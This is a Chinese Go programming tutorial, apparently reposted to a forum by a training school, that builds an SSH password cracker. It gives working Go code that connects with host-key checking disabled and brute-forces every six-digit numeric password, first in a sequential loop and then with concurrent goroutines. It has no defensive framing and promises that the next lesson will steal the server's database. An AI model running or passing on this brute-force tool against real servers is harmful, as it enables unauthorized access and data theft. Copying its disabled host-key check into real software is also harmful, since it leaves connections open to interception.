5.12 Go语言破解SSH服务器

Amiee7 · · 3343 次点击 · 开始浏览    置顶
这是一个创建于 的主题,其中的信息可能已经有所发展或是发生改变。

本篇文章IT兄弟连GO语言学院小美 给读者们分享一下 对GO语言感兴趣想要学习Golang开发技术的小伙伴就随小编来了解一下吧。 **需求和思路分析** - 现在的很多小伙伴们都拥有了自己的云服务器了,lots of them! - 平时大家是怎么做服务器管理的呢?相信多数人都是通过SSH客户端连接过去的吧; - 无论PUTTY还是XShell,我们只需要一个登陆密码,就能轻松地登陆到远程服务器终端,然后对我们的服务器做任何事情; - 只需要一个密码就可以了! - Go语言有SSH连接的第三方库,参数自然是用户名、密码、远程IP和端口,而密码我们可以通过暴力枚举来进行破解; **建立靶机** 安装并运行SSH服务,以Ubuntu为例 ``` //安装SSH服务 sudo apt install openssh-server //查看服务状态 sudo systemctl status ssh //启动服务 sudo systemctl start ssh ``` ![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221161620613.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70) 使用另一台虚拟机与之进行SSH连接 ``` ssh sriouyang@192.168.137.152 ``` ![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221162030883.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70) **安装第三方库** ``` go get golang.org/x/crypto/ssh ``` 访问golang.org需要翻墙,我们可以先手动在GOPATH/src下创建golang.org/x目录,cd到这个目录,然后执行 ``` git clone https://github.com/golang/crypto.git ``` **连接SSH服务器** 核心API如下: ``` func Dial(network, addr string, config *ClientConfig) (*Client, error) func (c *Client) NewSession() (*Session, error) ``` 从核心API出发,一步一步按图索骥,我们就能够写出连接的完整代码了 ``` /*获取客户端连接*/ func SSHConnect(user, password, host string, port int) (*ssh.Client, *ssh.Session, error) { var ( authMethods []ssh.AuthMethod addr string clientConfig *ssh.ClientConfig client *ssh.Client session *ssh.Session err error ) // 创建密码校验方法 authMethods = make([]ssh.AuthMethod, 0) authMethods = append(authMethods, ssh.Password(password)) // 创建一个格式合法的回调函数 hostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil } /*创建SSH客户端配置*/ clientConfig = &ssh.ClientConfig{ User: user, Auth: authMethods, // Timeout: 30 * time.Second, HostKeyCallback: hostKeyCallbk, } // 连接地址 addr = fmt.Sprintf("%s:%d", host, port) // 拨号并获取SSH客户端 if client, err = ssh.Dial("tcp", addr, clientConfig); err != nil { return nil, nil, err } // 创建新的会话 if session, err = client.NewSession(); err != nil { return nil, nil, err } return client, session, nil } ``` **测试密码正确与否** 下面的代码中,我们分别使用正确的密码和错误的密码尝试与靶机建立SSH连接,连接成功时,返回的error为空,说明密码是正确的,否则返回具体的error; ``` /*成功与失败*/ func main() { //正确密码 _, session, err := SSHConnect("sriouyang", "123456", "192.168.137.152", 22) //err为空 fmt.Println(session, err) //错误密码 _, session, err = SSHConnect("sriouyang", "654321", "192.168.137.152", 22) //err不为空 fmt.Println(session, err) } ``` ![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221162930706.png) **同步暴力破解密码** 以6位纯数字密码为例,我们就可以这样来破解了 ``` /*同步暴力破解所有6位纯数字密码*/ func main02() { for i := 0; i < 1000000; i++ { //尝试使用当前密码登录SSH服务器 pwd := strconv.Itoa(i) _, session, e := SSHConnect("sirouyang", pwd, "192.168.137.152", 22) fmt.Println(session, e) //根据错误是否为空判断密码是否正确 if e != nil { fmt.Println(i, "尝试失败") } else { fmt.Println(i, "正确密码", pwd) break } } } ``` ![在这里插入图片描述](https://img-blog.csdnimg.cn/2019022116315311.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70) **异步暴力破解密码** - 同步破解每次密码尝试都需要等待很久才能返回结果,对于几千万次的不同组合的尝试来说,这显然是不OK的,于是Go语言的并发来了! - 我们对上述同步破解代码进行改进,将每次尝试丢给一个不同的协程去做,这样我们就能并发地测试多个密码了; - 注意事项1:每次尝试失败后,要断开客户端连接,否则很快连接就满了或者无效了,就会出现各种各样的BUG; - 注意事项2:不要真的开辟百万并发协程,那只是一个美好的理想,现实中服务器端的最大连接数是有限的,所以我们使用管道模拟信号量,来控制最大并发数,此处桫哥使用了5并发; - 注意事项3:在统计尝试次数时,尝试次数这个变量不要并发地去修改,否则容易出错,桫哥在此处使用了原子变量做同步修改; 完整代码实现如下: ``` /*异步破解*/ func main03() { //chQuit := make(chan string) //控制并发数 chSem := make(chan int, 5) //全局等待组 var wg sync.WaitGroup //尝试次数 var count int64 /*暴力尝试密码*/ for i := 123400; i < 123500; i++ { //开辟尝试协程并注册到等待组 wg.Add(1) go func(i int) { //使用管道做并发数控制 chSem <- i //尝试连接 pwd := strconv.Itoa(i) client, session, e := SSHConnect("sriouyang", pwd, "192.168.137.152", 22) //最终关闭客户端 defer func() { if session != nil { session.Close() } if client != nil { client.Close() } }() //记录尝试次数,此处使用原子操作保证同步 atomic.AddInt64(&count, 1) fmt.Println(e) //判断破解是否成功 if e != nil { fmt.Println(i, "密码错误") if pwd == "123456" { log.Print(e) } } else { fmt.Println(i, "正确密码") fmt.Println("共尝试", count, "次") os.Exit(0) } //让出并发位置,从等待组中注销 <-chSem wg.Done() }(i) } //等待所有协程结束 wg.Wait() fmt.Println("main over!") } ``` 执行结果如下![在这里插入图片描述](https://img-blog.csdnimg.cn/20190221164145924.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA5ODY3NzY=,size_16,color_FFFFFF,t_70) 破解了密码就等于完全控制了服务器,下一节我们将把服务器数据库里的数据盗走,名曰“脱库”; 想要了解更多关于GO语言开发方面内容的小伙伴, 请关注IT兄弟连官网、公众号:GO语言研习社, IT兄弟连教育有专业的微软、谷歌讲师为您指导, 此外IT兄弟连老师精心推出的GO语言教程定能让你快速掌握GO语言从入门到精通开发实战技能。

有疑问加站长微信联系(非本文作者)

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:692541889

3343 次点击  
加入收藏 微博
暂无回复
添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传